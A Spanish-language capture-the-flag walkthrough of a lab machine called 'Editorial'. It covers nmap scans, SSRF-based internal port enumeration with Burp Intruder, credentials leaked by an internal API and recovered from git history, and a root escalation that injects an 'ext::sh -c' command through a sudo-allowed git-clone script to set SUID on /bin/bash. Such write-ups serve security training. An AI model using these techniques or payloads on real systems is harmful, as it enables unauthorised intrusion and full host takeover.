Vamos a hacer un escaneo con Nmap

nmap -sS -n -Pn -p- --min-rate 5000 10.10.11.20 -oG allPorts
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Ahora vamos a enumerar las versiones

nmap -sCV -p22,80 --min-rate 5000 -n -Pn -vvv 10.10.11.20 -oN Targeted
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0d:ed:b2:9c:e2:53:fb:d4:c8:c1:19:6e:75:80:d8:64 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMApl7gtas1JLYVJ1BwP3Kpc6oXk6sp2JyCHM37ULGN+DRZ4kw2BBqO/yozkui+j1Yma1wnYsxv0oVYhjGeJavM=
|   256 0f:b9:a7:51:0e:00:d5:7b:5b:7c:5f:bf:2b:ed:53:a0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMXtxiT4ZZTGZX4222Zer7f/kAWwdCWM/rGzRrGVZhYx
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://editorial.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumracion de la web

  • Nombres

    John Kat. Stephen K. José Sara.

  • Email
    • submissions@tiempoarriba.htb
  • Formulario

Investigando el formulario nos fijamos que si ponemos un servidor de nuestra maquina, la web hace una peticion a nuesta web y lo mas importante es que responde de forma difrernte si encuentra el servidor, es decir:

  • Tengo un servidor web por el puerto 8000
  • si hago una peticion la web me contesta con esta cadena
  • pero si pongo un puerto que no esta abierto me pone esto

esto significa que posiblemente podamos enumerar puestos internos de la maquina victima que no esten expuestos al exterior o los este filtrando un WAF, para hacer el reconocimiento de puertos internos vamos a hacer uso del intruder (ctrl + i) y cambiamos la ip a la de loopback

  • marcamos el campo que va a cambiar
  • ahora configuramos el payload ahora vamos a poner el campo que nos va a indicar si el puerto esta abierto o no
  • Ejecutamos el intruder (esto va a ir lento ya que la verion community no tiene hilos, siempre podriamos poner menos puertos o lo mas comunes)

hemos encontrado un puerto interno abierto: 5000 Vamos a ver cual es el varlo de la respuesta parece que la respuesta del servidor la ha guardado en esa ruta, vamos a buscarla y descargarla para poder verla

cat 53ff3c95-2e30-424f-9e97-e142ec655d2b| jq
{
  "messages": [
    {
      "promotions": {
        "description": "Retrieve a list of all the promotions in our library.",
        "endpoint": "/api/latest/metadata/messages/promos",
        "methods": "GET"
      }
    },
    {
      "coupons": {
        "description": "Retrieve the list of coupons to use in our library.",
        "endpoint": "/api/latest/metadata/messages/coupons",
        "methods": "GET"
      }
    },
    {
      "new_authors": {
        "description": "Retrieve the welcome message sended to our new authors.",
        "endpoint": "/api/latest/metadata/messages/authors",
        "methods": "GET"
      }
    },
    {
      "platform_use": {
        "description": "Retrieve examples of how to use the platform.",
        "endpoint": "/api/latest/metadata/messages/how_to_use_platform",
        "methods": "GET"
      }
    }
  ],
  "version": [
    {
      "changelog": {
        "description": "Retrieve a list of all the versions and updates of the api.",
        "endpoint": "/api/latest/metadata/changelog",
        "methods": "GET"
      }
    },
    {
      "latest": {
        "description": "Retrieve the last version of api.",
        "endpoint": "/api/latest/metadata",
        "methods": "GET"
      }
    }
  ]
}

lo cual son muchos directorios y enpoins, vamos a ver si hay algo interesante, y el endpoint de welcome nos data unos credenciales dev/dev080217_devAPI!@

Con estos credenciales podemos conectanos al ssh

Enumarcion

  • usuario
  • repositorio de git

Cuando hay un repositior de git podemos enumerar cambios que se han producido en el repositorio

  • vemos el status del repositorio(debemos estar en la misma carpeta que .git), se han borrado muchos archivos
git status

  • Vamos a listar los log para ver los mensajes de los commits que ha ido haciendo, y vemos como que antes la api estaba corriendo como el usuario prod y ahora esta como dev
git log
o 
git log --oneline

  • esto me hace pensar que podemos devoler el proyecto a un estado anterior donde prod era quien lo estaba ejecutando, vamos a ver que cambios tienen los archivos en esta version
git log -p b73481b

  • ya tenemos credenciales: prod/080217_Producti0n_2023!@

Cambiamos de usuario y enumeramos:

  • Sudoers

si vemos el codigo vemos que lo que hace es clonar un repositorio pero podemos ver si algunas de las librerías que imporat tiene alguna vulnerability vamos a probar la vulnerabilidad

  • vemos que no tiene permisos SUID
  • Ejecutamos (debe haber un porcetaje antes de cada espacio)
    • sudo python3 clone_prod_change.py 'ext::sh -c chmod% u+s% /bin/bash'
  • y ahora ya podemos hacer bash -p